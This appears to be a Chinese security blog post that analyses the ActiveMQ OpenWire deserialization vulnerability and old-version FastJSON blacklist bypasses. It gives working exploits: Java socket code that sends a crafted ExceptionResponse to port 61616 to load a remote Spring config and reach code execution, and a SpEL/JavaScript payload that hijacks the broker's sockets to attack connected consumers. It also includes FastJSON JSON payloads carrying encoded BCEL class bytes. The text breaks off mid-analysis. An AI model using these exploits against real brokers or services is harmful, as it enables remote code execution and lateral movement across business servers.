ActiveMQ从Broker到Consumer

前言

上周ActiveMQ的漏洞利用已经有了多篇文章分析了,比较麻烦的在于公开的文章都是通过修改activemq代码实现的漏洞利用。所以我们也分析了这个漏洞,希望能够写出更加简单的exploit。

漏洞分析

漏洞分析文章网上都比较多了,简单过一下。 从补丁中可以发现https://github.com/apache/activemq/commit/3eaf3107f4fb9a3ce7ab45c175bfaeac7e866d5b,主要修改了
BaseDataStreamMarshaller类的createThrowable方法,在漏洞版本中没有校验class类型,直接调用了String构造方法。

1
2
3
4
5
6
7
8
9
private Throwable createThrowable(String className, String message) {
try {
Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
Constructor constructor = clazz.getConstructor(String.class);
return (Throwable)constructor.newInstance(message);
} catch (Throwable var5) {
return new Throwable(className + ": " + message);
}
}

其中ConnectionErrorMarshaller、MessageAckMarshaller、ExceptionResponseMarshaller中的tightUnmarshal反序列化方法中都调用到了tightUnmarsalThrowable方法,

1
2
3
4
5
public void tightUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn, BooleanStream bs) throws IOException {
super.tightUnmarshal(wireFormat, o, dataIn, bs);
ExceptionResponse info = (ExceptionResponse)o;
info.setException(this.tightUnmarsalThrowable(wireFormat, dataIn, bs));
}

tightUnmarshal是每个数据类型的入口反序列化方法,在根据数据类型获取到对应的反序列化方法后就进入到tightUnmarshal方法进行反序列化,进而触发到tightUnmarsalThrowable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public Object doUnmarshal(DataInput dis) throws IOException {
byte dataType = dis.readByte();
if (dataType != 0) {
DataStreamMarshaller dsm = this.dataMarshallers[dataType & 255];
if (dsm == null) {
throw new IOException("Unknown data type: " + dataType);
} else {
Object data = dsm.createObject();
if (this.tightEncodingEnabled) {
BooleanStream bs = new BooleanStream();
bs.unmarshal(dis);
dsm.tightUnmarshal(this, data, dis, bs);
} else {
dsm.looseUnmarshal(this, data, dis);
}

return data;
}
} else {
return null;
}
}

在tightUnmarsalThrowable方法中,最终触发到了createThrowable方法。

1
2
3
4
5
6
7
protected Throwable tightUnmarsalThrowable(OpenWireFormat wireFormat, DataInput dataIn, BooleanStream bs) throws IOException {
if (!bs.readBoolean()) {
return null;
} else {
String clazz = this.tightUnmarshalString(dataIn, bs);
String message = this.tightUnmarshalString(dataIn, bs);
Throwable o = this.createThrowable(clazz, message);

class和message都是来自于反序列化的结果。意味着我们能够调用任意类的String构造方法,刚好ActiveMQ内置了Sping,配合Spring常用的一个利用类org.springframework.context.support.ClassPathXmlApplicationContext来加载远程的配置文件,实现SPEL表达式注入代码执行RCE。

漏洞利用

正常场景下,生产者只能发送Message给Broker。为了发送Response给Broker肯定需要修改下ActiveMQ的代码,所以大部分利用都是修改代码实现的。

为了更简单的实现利用,简单看了看ActiveMQ的协议,构造了下Exploit。ExceptionResponseMarshaller根据名字很容易判断出是ExceptionResponse的序列化/反序列化方法。

1
2
public class ExceptionResponse extends Response {
public static final byte DATA_STRUCTURE_TYPE = 31;

获取到ExceptionResponse的DATA_STRUCTURE_TYPE为31,整体的协议比较简单,以下为攻击代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ByteArrayOutputStream bos = new ByteArrayOutputStream();
DataOutput dataOutput = new DataOutputStream(bos);
dataOutput.writeInt(0);
dataOutput.writeByte(31);

dataOutput.writeInt(1);
dataOutput.writeBoolean(true);
dataOutput.writeInt(1);
dataOutput.writeBoolean(true);
dataOutput.writeBoolean(true);
dataOutput.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
dataOutput.writeBoolean(true);
dataOutput.writeUTF("http://localhost:8000/abcd");

Socket socket = new Socket("localhost", 61616);
OutputStream socketOutputStream = socket.getOutputStream();
socketOutputStream.write(bos.toByteArray());
socketOutputStream.close();

在看代码中发现ActiveMQ中存在一个tightEncodingEnabled的配置,启用tightEncodingEnabled配置后,ActiveMQ会使用一种紧凑的消息编码方式,它采用了一些技巧,例如采用更紧凑的数据结构、二进制编码等,以减少消息的大小。

很明显如果目标启用了tightEncodingEnabled的话,上面的攻击代码肯定需要修改。经过测试发现默认Broker未打开该配置,Consumer打开该配置。

这里也给出tightEncodingEnabled场景下,攻击Broker的利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
ByteArrayOutputStream bos = new ByteArrayOutputStream();
DataOutput dataOutput = new DataOutputStream(bos);
dataOutput.writeInt(0);
dataOutput.writeByte(31);

BooleanStream bs = new BooleanStream();
bs.writeBoolean(true);
bs.writeBoolean(true);
bs.writeBoolean(true);
bs.writeBoolean(false);
bs.writeBoolean(true);
bs.writeBoolean(false);

bs.marshal(dataOutput);

dataOutput.writeUTF("bb");
dataOutput.writeUTF("aa");

dataOutput.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
dataOutput.writeUTF("http://localhost:8000/abcd");

bos.flush();

Socket socket =new Socket("127.0.0.1", 61616);
OutputStream socketOutputStream = socket.getOutputStream();
socketOutputStream.write(bos.toByteArray());
socketOutputStream.close();

攻击Consumer

写完Broker的利用后,又开始思考是否能对Consumer进行攻击,因为漏洞是出现在反序列化阶段的,按理来说Consumer也会存在该漏洞的。且通常来说,Consumer才是部署业务的机器会比起Broker更加核心,通常一个Broker中会接入多个Consumer,如果能控制Consumer那么很可能一次性能控制大量业务机器。但是Consumer在实际使用中,并不会监听端口,那么怎么来给消费者发送恶意数据呢。

ActiveMQ有两种常用的消息模型,点对点、发布/订阅模式。无论是哪种模式,在实际业务中为了持续消费,通常会设置一个监听器,同时让消费者和Broker保持长链接。那么思路就有了,在控制了Broker后,获取到Broker和消费已建立的Socket链接,给消费推恶意数据进行反序列化按理是可以实现利用的。

所以首先要找到已经ESTABLISH的Socket链接
org.apache.activemq.broker.BrokerRegistry#getInstance

1
2
3
4
5
6
7
8
9
10
11
12
public class BrokerRegistry {
private static final Logger LOG = LoggerFactory.getLogger(BrokerRegistry.class);
private static final BrokerRegistry INSTANCE = new BrokerRegistry();
private final Object mutex = new Object();
private final Map<String, BrokerService> brokers = new HashMap();

public BrokerRegistry() {
}

public static BrokerRegistry getInstance() {
return INSTANCE;
}

在该方法中存在一个单例,可以获取到BrokerRegistry,进而获取到broker实例。在broker实例里面简单找了找,很轻松的找到了已经建立的消费链接,[Active Transport]的即是。

获取到Socket后,直接开推恶意数据。这里通过先让Broker加载远程配置文件在Broker上实现SPEL代码执行后,通过代码执行获取消费者socket推送恶意数据,加载远程配置文件。上面也说到了消费者默认开启了tightEncodingEnabled,所以需要使用tightEncodingEnabled的Exp。经过测试,漏洞利用后不会将消费打挂。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.0.xsd
http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-4.0.xsd">

<context:property-placeholder ignore-resource-not-found="false" ignore-unresolvable="false"/>

<bean class="java.lang.String">
<property name="String" value="#{T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval(&quot;function getunsafe() {var unsafe = java.lang.Class.forName('sun.misc.Unsafe').getDeclaredField('theUnsafe');unsafe.setAccessible(true);return unsafe.get(null);} var unsafe = getunsafe(); brokerRegistry = org.apache.activemq.broker.BrokerRegistry.getInstance();brokers = brokerRegistry.getBrokers();for(key in brokers){ brokerService = brokers.get(key); try{ f = brokerService.getClass().getDeclaredField('shutdownHook'); }catch(e){f = brokerService.getClass().getSuperclass().getDeclaredField('shutdownHook');} f.setAccessible(true); shutdownHook = f.get(brokerService); threadGroup = shutdownHook.getThreadGroup(); f = threadGroup.getClass().getDeclaredField('threads'); threads = unsafe.getObject(threadGroup, unsafe.objectFieldOffset(f)); for(key in threads){ thread = threads[key]; if(thread == null){ continue; } threadName = thread.getName(); if(threadName.startsWith('ActiveMQ Transport: ')){ f = thread.getClass().getDeclaredField('target'); tcpTransport = unsafe.getObject(thread, unsafe.objectFieldOffset(f)); f = tcpTransport.getClass().getDeclaredField('socket'); f.setAccessible(true); socket = f.get(tcpTransport); bos = new java.io.ByteArrayOutputStream(); dataOutput = new java.io.DataOutputStream(bos); dataOutput.writeInt(1); dataOutput.writeByte(31); bs = new org.apache.activemq.openwire.BooleanStream(); bs.writeBoolean(true); bs.writeBoolean(true); bs.writeBoolean(true); bs.writeBoolean(false); bs.writeBoolean(true); bs.writeBoolean(false); bs.marshal(dataOutput); dataOutput.writeUTF('bb'); dataOutput.writeUTF('aa'); dataOutput.writeUTF('org.springframework.context.support.ClassPathXmlApplicationContext'); dataOutput.writeUTF('http://localhost:8000/dddd'); dataOutput.writeShort(0); socketOutputStream = socket.getOutputStream(); socketOutputStream.write(bos.toByteArray()); } } }&quot;)}"/>
</bean>
</beans>

点对点消费测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ConnectionFactory connectionFactory = new ActiveMQConnectionFactory(ActiveMQConnection.DEFAULT_USER,
ActiveMQConnection.DEFAULT_PASSWORD, "tcp://localhost:61616");

Connection connection = connectionFactory.createConnection();
connection.start();
Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
Destination destination = session.createQueue("tempQueue");
MessageConsumer consumer = session.createConsumer(destination);
consumer.setMessageListener(new MessageListener() {
@Override
public void onMessage(Message message) {

try {
message.acknowledge();
TextMessage om = (TextMessage) message;
String data = om.getText();
System.out.println(data);
} catch (JMSException e) {
e.printStackTrace();
}
}
});
System.in.read();
session.close();
connection.close();

运行Exploit后,消费触发了漏洞。

发布/订阅消费测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public class TopicConsumer {

public void consumer() throws JMSException, IOException {
ConnectionFactory factory = null;
Connection connection = null;
Session session = null;
MessageConsumer consumer = null;
try {
factory = new ActiveMQConnectionFactory("admin","admin","tcp://localhost:61616");
connection = factory.createConnection();

connection.start();
session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
Destination destination = session.createTopic(TopicProducer.QUEUE_NAME);
consumer = session.createConsumer(destination);

consumer.setMessageListener(new MessageListener() {
@Override
public void onMessage(Message message) {

try {
TextMessage om = (TextMessage) message;
String data = om.getText();
System.out.println(data);
} catch (JMSException e) {
e.printStackTrace();
}
}
});
} catch(Exception ex){
throw ex;
}
}

public static void main(String[] args){
TopicConsumer consumer = new TopicConsumer();
try{
consumer.consumer();
} catch (Exception ex){
ex.printStackTrace();
}
}
}

SpringBoot-activemq 消费测试

(spring-boot-starter-activemq 最新版3.1.5依然还没修复该漏洞)

老版本Fastjson 的一些不出网利用

炒个冷饭,在近期的一些项目中,我们遇到了几个用了老版本Fastjson的目标,在利用时因为目标不出网的原因导致无法直接利用。
目前网上常见的老版本Fastjson不出网利用方式,主要有BCEL ClassLoader代码执行、C3P0二次反序列化、common-io写文件等利用方式,在我们的目标环境下均失败。
这次将BCEL ClassLoader的利用方式改成了题目出到了n1ctf中。

1、FastJSON BCEL ClassLoader代码执行

做项目时遇到的一个案例,黑盒测试通过InetAddress探测目标FastJSON版本<=1.2.48,同时探测到存在mybatis包,目标无DNS且不出网。

首先大概了解一下BCEL ClassLoader的利用原理,
com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;

/* First try: lookup hash table.
*/
if((cl=(Class)classes.get(class_name)) == null) {
/* Second try: Load system class using system class loader. You better
* don't mess around with them.
*/
for(int i=0; i < ignored_packages.length; i++) {
if(class_name.startsWith(ignored_packages[i])) {
cl = deferTo.loadClass(class_name);
break;
}
}

if(cl == null) {
JavaClass clazz = null;

/* Third try: Special request?
*/
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
}

if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
}

BCEL ClassLoader在loadClass时,如果classname中含有$$BCEL$$,则会进入createClass逻辑中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected JavaClass createClass(String class_name) {
int index = class_name.indexOf("$$BCEL$$");
String real_name = class_name.substring(index + 8);

JavaClass clazz = null;
try {
byte[] bytes = Utility.decode(real_name, true);
ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");

clazz = parser.parse();
} catch(Throwable e) {
e.printStackTrace();
return null;
}

在createClass方法中,对classname解码得到class bytes,使用ClassParser解析class bytes生成JavaClass,最后调用defineClass生成class。

FastJSON 触发BCEL ClassLoader,目前使用得最多的两种利用方式需要分别依赖tomcat-dbcp、mybatis,通过FastJSON探测到目标存在mybatis包。

mybatis的BCEL利用类为 org.apache.ibatis.datasource.unpooled.UnpooledDataSource
众所众知,fastjson可以通过$ref、JSONObject调用getter方法,在该类的 getConnection -> doGetConnection -> initializeDriver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private synchronized void initializeDriver() throws SQLException {
if (!registeredDrivers.containsKey(this.driver)) {
try {
Class driverType;
if (this.driverClassLoader != null) {
driverType = Class.forName(this.driver, true, this.driverClassLoader);
} else {
driverType = Resources.classForName(this.driver);
}

Driver driverInstance = (Driver)driverType.getDeclaredConstructor().newInstance();
DriverManager.registerDriver(new DriverProxy(driverInstance));
registeredDrivers.put(this.driver, driverInstance);
} catch (Exception var3) {
throw new SQLException("Error setting driver on UnpooledDataSource. Cause: " + var3);
}
}

}

在initializeDriver方法中,如果设置了driverClassLoader属性,就会进入Class.forName逻辑,通过FastJSON的反序列化可以控制driver、driverClassLoader属性,也就是我们能控制classloader和classname。
同时在Class.forName时,设置了initialize属性为true,会触发静态方法,这时候控制classloader为BCEL ClassLoader,再控制classname为$$BCEL$$XXX,即可实现代码执行,在initializeDriver方法里也newInstance了所以也会触发构造方法。

根据网上公开的<=1.2.24的BCEL ClassLoader修改的payload如下,在1.2.47可触发

1
{"x":{"xxx":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"www":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"com.alibaba.fastjson.JSONObject","c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$hA$Q$ac$b1$8d$f7$c1$9a$87$c1$e6$91$84$98$b7$8d$E$3e$e4h$94K$ER$94M$88bd$94$e3x$Y$cc$c0$b2$b3Z$8f$81$3f$e2$cc$85D$89$94$dc$f3Q$88$9e$F$ZKd$P$dd$d3U$d5$d5$3d$b3$ff$ee$7f$fd$B$f0$Ou$l$k$e6$7d$y$60$d1$c5$x$9b_$3bx$e3$60$c9G$Ro$j$d4$i$y3$UwU$ac$cc$7b$86$7c$bd$d1a$u$7c$d0$c7$92a2T$b1$fc2$b8$e8$ca$f4$90w$pB$ca$a1$W$3c$ea$f0T$d9$fa$J$y$98S$d5$t$8fp$efRE$z$GwWDOv$8c$e8Jx$c6$_yS$e9$e6$c7$83$bdk$n$T$a3tL$b2R$dbpq$fe$99$t$99$N$z$c5$e0$b7$f5$m$Vr_Y$5b$cf$da$ed$d8$de$A$3e$c6$j$ac$EX$c5$gCU$t2$aem$f3$g$ad$o$G$R7$3a$dd$e1I$S$60$j$h$M3$ff$99$c6$b0$98$a1$R$8f$7b$cdo$83$d8$a8$L9$q$ad$fb$s$dd$c2$8ec$98z$W$kt$cf$a40$M$d3$_zi$d3$9e4$c3$a2Ro$84$_4t$c3$82$bc$96$82a$b3$3e$c2$b6M$aa$e2$5ek$b4$e1k$aa$85$ec$f7$a9a$7eTyx$9a$ea$x$fb4$adF$H$cbp$e9$3f$da$_$Hf$9f$83b$40U$932$a3$3c$b6$f5$D$ec6$a3K$U$8b$Z$98$c7$E$c5$e0Q$80ILQv1$3dl$3e$n$85$e5$e6$7e$oW$ce$df$a1pt$83$d2$a7$df$u$7e$t7$e7$efmFz$q$j$p$a1$b5$ad$d2$Jp$I$f3$Ju$J$f3$I$h$l$8e$b1u$Z3T$cdf$ba$5c$e8$a0$e2$RQ$cd6$9b$7b$A$7f$Q$bb$L$96$C$A$A"}}:{}}}

但是在目标环境下却没成功利用,不过很容易想到没利用成功的原因。在之前的<<那些年一起打过的CTF - Laravel 任意用户登陆Tricks分析>>文章中也提到过,该利用只有在fastjson 1.2.33 - 1.2.47或者无autotype的版本可利用,那么大概率就是因为目标版本处于1.2.25 - 1.2.32版本之间。

在fastjson 25 - 32,checkAutoType方法中,只要反序列化的类在黑名单中就抛出异常。

1
2
3
4
5
6
7
8
9
10
11
12
13
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
在fastjson >= 33时,就算反序列的类在黑名单中,只要反序列的类在mapping中就不会抛出异常,所以通过java.lang.Class将恶意类加入到mapping后能够利用
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}

1.2.31版本的黑名单为,

1
bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework

com.sun包在黑名单中,导致com.sun.org.apache.bcel.internal.util.ClassLoader无法使用。

那么是否能够绕过这个限制?
回到1.2.31的checkAutoType方法中,黑名单的检测是通过startsWith方法进行检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}

for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
if (!this.autoTypeSupport) {
String accept;
int i;
for(i = 0; i < this.denyList.length; ++i) {
accept = this.denyList[i];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}

for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}

if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}

throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}

if (!this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
}
}

<=1.2.48的利用中,是通过java.lang.Class将恶意类加入到mapping中,在checkAutoType方法中,通过三个方法来尝试获取了class,这里主要关注其中两个从mapping获取clazz的方法,在autotype默认关闭的场景下,可以简单理解为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
        如果exceptclass不为空,进行黑白名单检测

Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}

if(clazz != null){
return clazz;
}

必定进行黑白名单检测

clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);

if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}
根据之前的经验,能够知道TypeUtils.loadClass获取clazz时,存在一些黑名单绕过的方式。
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
} else {
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable var6) {
var6.printStackTrace();
}

try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null && contextClassLoader != classLoader) {
clazz = contextClassLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable var5) {
}

try {
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch (Throwable var4) {
return clazz;
}
}
} else {
return null;
}
}

通过[com.sun.org.apache.bcel.internal.util.ClassLoader、Lcom.sun.org.apache.bcel.internal.util.ClassLoader; 都可以绕过startsWith的黑名单。

但是TypeUtils.getClassFromMapping不存在这个特性,直接无任何处理从ConcurrentMap mapping中获取clazz。

1
2
3
public static Class<?> getClassFromMapping(String className) {
return (Class)mappings.get(className);
}

这样导致了依然无法利用,因为在TypeUtils.loadClass后还会使用isAssignableFrom判断获取到的clazz是否为ClassLoader子类,如果是则会抛出异常结束流程,当然BCEL ClassLoader肯定是ClassLoader的子类,导致无法利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}

为了逃脱classloader的检测,必须在ClassLoader检测之前就return clazz,只能指望TypeUtils.getClassMapping,不过刚才也提到了getClassMapping方法无任何特性能够帮助我们绕过黑名单。

在两层黑名单检测的逻辑中,第一层是指定了期望类后才会进行黑名单检测,第二层在未开启AutoType状态下一定会检测。

那么只要在反序列BCEL ClassLoader时不指定期望类,就可以不经过第一层黑名单检测,直接通过getClassFromMapping方法获取clazz了,同时通过getClassFromMapping获取到clazz后就会直接返回clazz,不会再经过classloader检测。

在反序列化设置com.sun.org.apache.bcel.internal.util.ClassLoader的driverClassLoader属性时,发现确实指定了期望类为java.lang.Classloader,但是我们也没有手动给driverClassloader设置期望类。

调试发现Fastjson在正常反序列化时,com.alibaba.fastjson.parser.DefaultJSONParser#parseObject处理,传入autotype的期望类确实为null
Class<?> clazz = this.config.checkAutoType(ref, (Class)null);

但如果是通过@type反序列化设置bean属性时,则是通过com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze处理,在该方法中会去获取属性对应的类型,并且作为期望类传入到autotype方法中,导致会进入到第一层的黑名单检测中。

1
2
3
4
5
if (deserializer == null) {
Class<?> expectClass = TypeUtils.getClass(type);
userType = config.checkAutoType(ref, expectClass);
deserializer = parser.getConfig().getDeserializer(userType);
}

是否还有其他的方法不指定exceptclass设置属性值呢,很容易想到FastJSON的$ref特性。
既然正常非属性值的反序列化是不会设置exceptclass的,那么先反序列化生成BCEL ClassLoader之后,再通过$ref引用设置到driverClassLoader属性即可绕过。

1
[{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","":""},{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader":{"$ref":"$[2]"}, "driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$h1$Q$7dN$96$ec$H$h$C$a1$J$94$C$N$a5$zI$r$c8$81cP$_$V$95$aan$L$o$u$a8G$c75$c1tY$af6$O$f0$8f8s$a1$V$95$da$7b$7f$Ub$bcEi$q$ea$83g$e6$bd7$cfc$fb$cf$dd$ed$_$A$dbh$G$f0$b1$Y$e0$v$96$3c$3c$b3q$d9$c5$8a$8b$d5$A$r$3cw$d1p$b1$c6P$daQ$892o$Z$8a$cdV$8f$c1y$a7$bfJ$86J$a4$S$f9yt$d6$97$d9$n$ef$c7$84T$p$zx$dc$e3$99$b2$f5$D$e8$98$T5$q$8fh$f7$5c$c5$j$GoG$c4$Pv$8c$e8Zt$ca$cfy$5b$e9$f6$87$bd$ddK$nS$a3tB$b2r$d7p$f1$ed$TOs$h$g$8a$n$e8$eaQ$s$e4$7bem$7dk$b7e$7bC$E$98v$f1$o$c4$3a$5e2$d4u$w$93$c6$so$d0$ub$Us$a3$b3$z$9e$a6$n$5e$e15$c3$fc$7fNcX$ca$d1$98$t$83$f6$c1$u1$eaL$8eI$eb$beA$b7$b0$c71$cc$fe$T$ee$f5O$a50$Ms$8fzi$d2$814$e3$a2$d6lE$8f4tCG$5eJ$c1$b0$d1$9c$60$bb$sS$c9$a03$d9$b0$9fi$n$87CjX$9cT$k$9ed$fa$c2$3eM$a7$d5$c3$g$3c$faG$bb$K$60$f69h$P$f3$P$a6G$a68$f5$e6$3b$d8uN$97i$P$u$822$H$V$ccP$W$fe$VQ5K$d1$c3$dc$d8$e0$Y$c5$9c$5b$f8$81B$b5x$D$e7$e8$K$e5$8f$3fQ$faB$8e$ee$ef$eb$9c$f4I$3aEBk$5d$a7$Mp$J$L$I$f5$I$f3$J$9b$k$lc$eb$w$e6$a9z$92$eb$K$91$8b$9aOD$3d$9fn$e1$k$acK$b2$e2$9a$C$A$A"}]

以上JSON经过FastJSON解析后,未报错并且成功设置上了driverClassLoader属性,那么只需要再调用到getter getConnection方法就可以实现代码执行了。

FastJSON调用getter常用两种方式,1、$ref,2、JSONObject。
$ref调用getter方法,根据网上说法需要在>=1.2.36版本才可以实现,所以无法在我们的目标上利用。
JSONObject可以在低版本使用,但是也存在一个很尴尬的问题。
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject ,在处理$ref时是通过addResolveTask新增了一个任务,在parse完成之后再来处理任务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
if (key == "$ref" && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
.....................
if ("..".equals(ref)) {
if (context.object != null) {
refValue = context.object;
} else {
this.addResolveTask(new ResolveTask(context, ref));
this.setResolveStatus(1);
}
break;
}

if (!"$".equals(ref)) {
this.addResolveTask(new ResolveTask(context, ref));
this.setResolveStatus(1);
break;
}

for(rootContext = context; rootContext.parent != null; rootContext = rootContext.parent) {
}

if (rootContext.object != null) {
refValue = rootContext.object;
} else {
this.addResolveTask(new ResolveTask(rootContext, ref));
this.setResolveStatus(1);
}
break;
}

而JSONObject调用getter的利用,一样在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject中,在parse时就会调用到getter方法,无法等到处理完$ref的任务后再调用getter,导致调用到getConnection方法时还未设置driverClassloader属性值。

1
2
3
if (object.getClass() == JSONObject.class) {
key = key == null ? "null" : key.toString();
}

因为ResolveTask的原因,导致不能使用JSONObject调用getter的方式,那么还是只能指望$ref调getter了。
首先研究一下$ref为什么只有在>=1.2.36版本后才能调用getter,以及是否有可能在低版本实调用getter,$ref调用getter的调用栈为

com.alibaba.fastjson.parser.DefaultJSONParser#handleResovleTask
com.alibaba.fastjson.JSONPath#eval
com.alibaba.fastjson.JSONPath$PropertySegement#eval
com.alibaba.fastjson.JSONPath#getPropertyValue

最终在getPropertyValue方法中调用到对应属性的getter方法,在低版本中, 处理$ref任务时要调用到JSONPath.eval 存在多个限制, refValue必须非null、类型为JSONObject且fieldInfo不为null。

1
2
3
4
5
6
7
8
